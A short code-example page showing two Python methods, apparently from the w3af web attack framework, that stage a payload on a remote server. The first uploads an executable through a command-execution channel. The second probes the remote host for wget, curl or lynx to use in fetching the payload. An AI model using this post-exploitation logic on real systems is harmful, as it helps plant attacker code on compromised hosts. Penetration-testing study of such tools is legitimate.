예제 #1
0
    def _send_exe_to_server(self, exe_file):
        """
        This method should be implemented according to the remote operating system. The idea here is to
        send the exe_file to the remote server and save it in a file.
        
        @param exe_file: The local path to the executable file
        @return: The name of the remote file that was uploaded.
        """
        om.out.debug("Called _send_exe_to_server()")
        om.out.console("Wait while w3af uploads the payload to the remote server...")

        ptf = payloadTransferFactory(self._exec_method)

        # Now we get the transfer handler
        wait_time_for_extrusion_scan = ptf.estimateTransferTime()
        transferHandler = ptf.getTransferHandler()

        if not transferHandler.canTransfer():
            raise w3afException("Can't transfer the file to remote host, canTransfer() returned False.")
        else:
            om.out.debug("The transferHandler can upload files to the remote end.")

            estimatedTime = transferHandler.estimateTransferTime(len(exe_file))
            om.out.debug('The payload transfer will take "' + str(estimatedTime) + '" seconds.')

            self._remote_filename = getRemoteTempFile(self._exec_method)
            om.out.debug('Starting payload upload, remote filename is: "' + self._remote_filename + '".')

            if transferHandler.transfer(file(exe_file).read(), self._remote_filename):
                om.out.console('Finished payload upload to "%s"' % self._remote_filename)
                return self._remote_filename
            else:
                raise w3afException("The payload upload failed, remote md5sum is different.")
예제 #2
0
    def canTransfer(self):
        """
        This method is used to test if the transfer method works as expected. The implementation of
        this should transfer 10 bytes and check if they arrived as expected to the other end.
        """
        #    Here i test what remote command we can use to fetch the payload
        for fetcher in ["wget", "curl", "lynx"]:
            res = self._exec_method("which " + fetcher)
            if res.startswith("/"):
                #    Almost there...
                self._command = fetcher

                #    Lets really test if the transfer method works.
                return self.transfer("test_string\n", getRemoteTempFile(self._exec_method))

        return False